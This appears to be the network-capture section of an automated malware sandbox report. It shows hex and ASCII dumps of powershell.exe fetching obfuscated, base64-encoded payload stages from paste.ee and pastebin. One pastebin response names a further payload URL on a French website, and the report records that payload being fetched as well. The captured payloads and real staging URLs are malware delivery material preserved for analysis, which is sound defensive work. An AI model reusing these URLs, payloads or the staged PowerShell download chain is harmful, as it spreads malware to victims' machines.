                                                                                                                                        2024-11-20 10:06:16 UTC1369INData Raw: 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 6f 6f 43 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 69 6f e2 86 93 3a e2 86 93 45 7a e2 86 93 3a e2 86 93 44 e2 86 93 3a e2 86 93 45 38 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93
                                                                                                                                        Data Ascii: :::::::::::::::::::::::BooCw::Bio:Ez:D:E8::::::
                                                                                                                                        2024-11-20 10:06:16 UTC1369INData Raw: 86 93 e2 86 93 3a e2 86 93 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 51 4d 6f 43 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 6a 6b 66 e2 86 93 3a e2 86 93 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 48 59 30 43 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 4a 52 5a 79 30 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 63 42 6f 6f 44 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 71 49 6c 46 77 34 45 6f 69 55 59 63 67 55 42 e2 86 93 3a e2 86 93 48 e2 86 93 3a e2 86 93 62 4b e2 86 93 3a e2 86 93 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 61 69 4a 52 6b 5a 4b e2 86 93 3a e2 86 93 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 61 69 4a 52 70 79 52 51 45 e2 86 93 3a e2 86
                                                                                                                                        Data Ascii: :g::EQMoCQ::Cjkf:Q::HY0C:::BJRZy0w::cBooD:::BqIlFw4EoiUYcgUB:H:bK:w:::aiJRkZK:Q:::aiJRpyRQE:
                                                                                                                                        2024-11-20 10:06:16 UTC1369INData Raw: 3a e2 86 93 46 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 62 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 44 69 59 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 48 59 30 43 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 4a 52 5a 79 36 51 4d e2 86 93 3a e2 86 93 63 42 34 6f 44 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 71 49 6c 46 33 34 46 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 6f 69 55 59 63 67 30 45 e2 86 93 3a e2 86 93 48 e2 86 93 3a e2 86 93 57 4b e2 86 93 3a e2 86 93 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 61 69 4a 52 6b 64 4b 42 45 e2 86 93 3a e2 86 93 e2 86
                                                                                                                                        Data Ascii: :F::::bg:::DiY::::HY0C:::BJRZy6QM:cB4oD:::BqIlF34F:::EoiUYcg0E:H:WK:w:::aiJRkdKBE:
                                                                                                                                        2024-11-20 10:06:16 UTC1369INData Raw: 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 46 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 62 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 48 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4d e2 86 93 3a e2 86 93 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4a 77 49 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 46 73 43 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 46 e2 86 93 3a e2 86 93 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 6c 77 49 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 6b 46 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2
                                                                                                                                        Data Ascii: :::FQ:::Bg::::b::::Hg::::M:g::JwI::FsC::CF:g::lwI::EkF:::
                                                                                                                                        2024-11-20 10:06:16 UTC1369INData Raw: 93 6f 7a 42 64 30 63 43 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 46 42 4d 4d 47 7a 68 6d 2f 2f 2f 2f 45 51 73 58 31 68 4d 4c 45 51 73 52 43 6f 35 70 4d 6f 33 64 68 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 55 6f 45 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 68 4d 4f 46 69 73 42 46 6b 55 45 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 6f e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 4d e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 57 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43
                                                                                                                                        Data Ascii: ozBd0cCQ::FBMMGzhm////EQsX1hMLEQsRCo5pMo3dh::::CUoEw::ChMOFisBFkUE:::::g::::o:::BM::::WQ:::C
                                                                                                                                        2024-11-20 10:06:16 UTC1215INData Raw: e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 6f 73 5a 48 4a 6a 42 77 42 77 46 69 67 4d e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 45 77 38 57 4b 77 45 57 52 51 49 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 48 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 73 72 46 78 63 6f 4a e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 67 67 52 42 42 45 50 42 69 67 46 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 4b 43 55 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 6f 6d 46 79 76 57 63 73 73 48 e2 86 93 3a e2 86 93 48 e2 86 93 3a e2 86 93 59 4b
                                                                                                                                        Data Ascii: ::osZHJjBwBwFigM:::GEw8WKwEWRQI::::C::::HQ:::CsrFxcoJ:::CggRBBEPBigF:::GKCU:::omFyvWcssH:H:YK


                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                        1192.168.2.449735188.114.97.34436536C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                        2024-11-20 10:06:24 UTC67OUTGET /d/Nbuiz/0 HTTP/1.1
                                                                                                                                        Host: paste.ee
                                                                                                                                        Connection: Keep-Alive
                                                                                                                                        2024-11-20 10:06:25 UTC1234INHTTP/1.1 200 OK
                                                                                                                                        Date: Wed, 20 Nov 2024 10:06:25 GMT
                                                                                                                                        Content-Type: text/plain; charset=utf-8
                                                                                                                                        Transfer-Encoding: chunked
                                                                                                                                        Connection: close
                                                                                                                                        Cache-Control: max-age=2592000
                                                                                                                                        strict-transport-security: max-age=63072000
                                                                                                                                        x-frame-options: DENY
                                                                                                                                        x-content-type-options: nosniff
                                                                                                                                        x-xss-protection: 1; mode=block
                                                                                                                                        content-security-policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdnjs.cloudflare.com https://www.google.com https://www.gstatic.com https://analytics.paste.ee; img-src 'self' https://secure.gravatar.com https://analytics.paste.ee data:; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://cdnjs.cloudflare.com; font-src 'self' https://themes.googleusercontent.com https://fonts.gstatic.com; frame-src https://www.google.com; object-src 'none'
                                                                                                                                        CF-Cache-Status: DYNAMIC
                                                                                                                                        Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DwiOtSKgoabEJzjoPJ0AK8eqXdOIJ4Hdx%2BLEA%2BbQTadOWxoKGZ8ZnsO5H%2FB1Djd1O425Ih8rUFxbpDuc9V8E5Yof1XFxmbn%2FrwfwxedxxUDN7pq0MMr3oIkZ8g%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                        NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                        Server: cloudflare
                                                                                                                                        CF-RAY: 8e57a08dde2b7c81-EWR
                                                                                                                                        alt-svc: h3=":443"; ma=86400
                                                                                                                                        2024-11-20 10:06:25 UTC190INData Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 37 38 38 26 73 65 6e 74 3d 35 26 72 65 63 76 3d 36 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 31 37 26 72 65 63 76 5f 62 79 74 65 73 3d 36 38 31 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 31 35 38 36 30 39 34 26 63 77 6e 64 3d 32 33 37 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 36 66 30 38 31 38 38 65 33 34 66 66 63 38 61 31 26 74 73 3d 34 36 31 26 78 3d 30 22 0d 0a 0d 0a
                                                                                                                                        Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=1788&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2817&recv_bytes=681&delivery_rate=1586094&cwnd=237&unsent_bytes=0&cid=6f08188e34ffc8a1&ts=461&x=0"
                                                                                                                                        2024-11-20 10:06:25 UTC1314INData Raw: 66 37 66 0d 0a 54 56 71 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4d e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 2f 2f 38 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4c 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93
                                                                                                                                        Data Ascii: f7fTVqQ::M::::E:::://8::Lg:::::::::Q:::::::::::::
                                                                                                                                        2024-11-20 10:06:25 UTC1369INData Raw: 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4d e2 86 93 3a e2 86 93 59 49 55 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93
                                                                                                                                        Data Ascii: ::::M:YIU::B:::B::::::E:::E::::::::B::::::::
                                                                                                                                        2024-11-20 10:06:25 UTC1291INData Raw: 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4c 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 49 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 e2 86 93 3a e2 86 93 75 63 6e 4e 79 59 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86
                                                                                                                                        Data Ascii: :::g::::Lg::::I::::::::::::::::::C:::G:ucnNyYw::
                                                                                                                                        2024-11-20 10:06:25 UTC1369INData Raw: 32 30 30 30 0d 0a 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93
                                                                                                                                        Data Ascii: 2000::::::::::::::::::::::::::::::::::::
                                                                                                                                        2024-11-20 10:06:25 UTC1369INData Raw: e2 86 93 6c e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 52 63 4c e2 86 93 3a e2 86 93 6e 34 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4b e2 86 93 3a e2 86 93 78 63 6f 48 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 69 77 43 4b 77 6f 48 46 39 59 4c 42 78 73 78 35 79 73 45 46 77 6f 72 e2 86 93 3a e2 86 93 68 59 4b 42 69 6f e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 62 4d e2 86 93 3a e2 86 93 73 e2 86 93 3a e2 86 93 45 51 51 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 49 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 46 79 4d 51 e2 86 93 3a e2 86 93
                                                                                                                                        Data Ascii: l:::::Q::ERcL:n4g:::K:xcoH:::BiwCKwoHF9YLBxsx5ysEFwor:hYKBio::::bM:s:EQQ:::I::BFyMQ:
                                                                                                                                        2024-11-20 10:06:25 UTC1369INData Raw: 93 3a e2 86 93 30 43 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 73 e2 86 93 3a e2 86 93 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 58 51 49 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 44 68 78 e2 86 93 3a e2 86 93 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 42 45 46 48 7a 54 57 4b 43 63 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 6f 54 42 68 63 72 6c 69 43 7a e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 6a 51 6b e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 54 42 78 67 72 68 78 45 48 46 69 e2 86 93 3a e2 86 93 43 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 e2 86 93 3a e2 86 93 6e 68 6b 34 65 50 2f 2f 2f 79 67 6f e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93
                                                                                                                                        Data Ascii: :0C:::s:g::XQI::Dhx:g::BBEFHzTWKCc:::oTBhcrliCz::::jQk:::ETBxgrhxEHFi:C::E:nhk4eP///ygo::
                                                                                                                                        2024-11-20 10:06:25 UTC1369INData Raw: 46 52 45 57 46 68 45 57 6a 6d 6b 6f 4b 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 68 38 51 4f 4d 33 39 2f 2f 38 52 42 48 73 4a e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 45 51 30 52 45 39 59 52 46 68 45 57 6a 6d 6b 53 e2 86 93 3a e2 86 93 53 67 58 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 47 4c 51 5a 7a 4a 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 6e 6f 52 44 68 38 6f 31 68 4d 4f 48 78 45 34 6e 76 33 2f 2f 78 45 53 46 39 59 54 45 68 45 53 45 52 45 2b 57 50 2f 2f 2f 78 45 4e 4b 43 73 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 6f 54 44 78 38 53 4f 48 2f 39 2f 2f 38 52 42 48 73 4a e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 45 51 67 65 31 68 45 50 47 68 49 42 4b
                                                                                                                                        Data Ascii: FREWFhEWjmkoKg::Ch8QOM39//8RBHsJ:::EEQ0RE9YRFhEWjmkS:SgX:::GLQZzJg::CnoRDh8o1hMOHxE4nv3//xESF9YTEhESERE+WP///xENKCs:::oTDx8SOH/9//8RBHsJ:::EEQge1hEPGhIBK
                                                                                                                                        2024-11-20 10:06:25 UTC1369INData Raw: 86 93 48 e2 86 93 3a e2 86 93 57 4b 43 30 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 59 56 46 69 67 78 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 4b 66 52 38 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 51 47 65 78 38 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 51 57 6d 68 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 33 67 34 6c 4b 43 77 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 6f 4c 4b 43 38 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 72 65 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 62 2b 42 69 6f e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 5a 7a 4d 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 43 69 67 7a e2 86 93 3a e2 86
                                                                                                                                        Data Ascii: H:WKC0:::YVFigx:::KfR8:::QGex8:::QWmh::3g4lKCw:::oLKC8:::re::b+Bio:::ZzMg::Cigz:
                                                                                                                                        2024-11-20 10:06:25 UTC1355INData Raw: e2 86 93 3a e2 86 93 42 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 6c e2 86 93 3a e2 86 93 4f 6c 4f e2 86 93 3a e2 86 93 51 38 59 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 42 45 7a e2 86 93 3a e2 86 93 46 e2 86 93 3a e2 86 93 49 38 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 45 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 52 63 6d 67 42 e2 86 93 3a e2 86 93 48 e2 86 93 3a e2 86 93 57 4b 43 30 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 59 4b 46 69 73 42 46 6b 55 48 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 67 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 e2 86 93 3a e2 86 93 73
                                                                                                                                        Data Ascii: :B::Bl:OlO:Q8Y:::BEz:F:I8::::E:::RcmgB:H:WKC0:::YKFisBFkUH:::::g::::s


                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                        2192.168.2.449737104.20.3.2354436536C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                        2024-11-20 10:06:25 UTC74OUTGET /raw/CPCMnN7k HTTP/1.1
                                                                                                                                        Host: pastebin.com
                                                                                                                                        Connection: Keep-Alive
                                                                                                                                        2024-11-20 10:06:26 UTC388INHTTP/1.1 200 OK
                                                                                                                                        Date: Wed, 20 Nov 2024 10:06:26 GMT
                                                                                                                                        Content-Type: text/plain; charset=utf-8
                                                                                                                                        Transfer-Encoding: chunked
                                                                                                                                        Connection: close
                                                                                                                                        x-frame-options: DENY
                                                                                                                                        x-content-type-options: nosniff
                                                                                                                                        x-xss-protection: 1;mode=block
                                                                                                                                        cache-control: public, max-age=1801
                                                                                                                                        CF-Cache-Status: MISS
                                                                                                                                        Last-Modified: Wed, 20 Nov 2024 10:06:26 GMT
                                                                                                                                        Server: cloudflare
                                                                                                                                        CF-RAY: 8e57a094de604339-EWR
                                                                                                                                        2024-11-20 10:06:26 UTC52INData Raw: 32 65 0d 0a 68 74 74 70 73 3a 2f 2f 6d 61 73 63 6c 61 75 78 74 6f 69 74 75 72 65 73 2e 66 72 2f 58 36 37 68 32 30 32 34 6b 4e 57 4f 52 4d 2e 74 78 74 0d 0a
                                                                                                                                        Data Ascii: 2ehttps://masclauxtoitures.fr/X67h2024kNWORM.txt
                                                                                                                                        2024-11-20 10:06:26 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                        Data Ascii: 0


                                                                                                                                        Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                        3192.168.2.44974064.235.43.1284436536C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                        TimestampBytes transferredDirectionData
                                                                                                                                        2024-11-20 10:06:27 UTC87OUTGET /X67h2024kNWORM.txt HTTP/1.1
                                                                                                                                        Host: masclauxtoitures.fr
                                                                                                                                        Connection: Keep-Alive
                                                                                                                                        2024-11-20 10:06:27 UTC281INHTTP/1.1 200 OK
                                                                                                                                        Date: Wed, 20 Nov 2024 10:06:27 GMT
                                                                                                                                        Server: Apache
                                                                                                                                        Upgrade: h2
                                                                                                                                        Connection: Upgrade, close
                                                                                                                                        Last-Modified: Mon, 04 Nov 2024 14:28:36 GMT
                                                                                                                                        ETag: "d558-62617199e75aa"
                                                                                                                                        Accept-Ranges: bytes
                                                                                                                                        Content-Length: 54616
                                                                                                                                        Vary: Accept-Encoding
                                                                                                                                        Content-Type: text/plain
                                                                                                                                        2024-11-20 10:06:27 UTC7911INData Raw: 3d 3d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
                                                                                                                                        Data Ascii: ==AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
                                                                                                                                        2024-11-20 10:06:28 UTC8000INData Raw: 41 44 42 41 49 41 67 45 41 55 42 51 52 5a 41 41 41 67 41 67 4f 41 41 79 42 41 41 41 49 41 49 48 41 6c 42 41 63 41 41 48 41 70 42 41 62 41 4d 45 41 67 41 77 51 41 51 46 41 43 6c 52 41 41 30 48 41 7a 41 77 4d 41 73 48 41 64 42 51 4f 41 30 43 41 78 41 67 65 41 30 43 41 68 42 67 57 41 30 43 41 42 42 77 57 41 51 56 49 42 41 67 59 41 77 46 41 39 42 51 4e 41 51 44 41 73 41 41 4d 41 51 44 41 37 42 51 58 41 6b 44 41 74 41 41 4d 41 6f 46 41 74 41 41 55 41 34 45 41 74 41 67 53 41 67 45 41 74 41 51 51 41 6f 48 41 74 41 51 59 41 73 46 41 70 41 41 65 41 41 44 41 6f 41 67 59 41 77 56 51 42 41 67 59 41 77 46 41 39 42 51 4e 41 51 44 41 73 41 67 4e 41 49 44 41 37 42 51 58 41 6b 44 41 74 41 41 4d 41 6f 46 41 74 41 41 55 41 34 45 41 74 41 67 53 41 67 45 41 74 41 51 51 41 6f
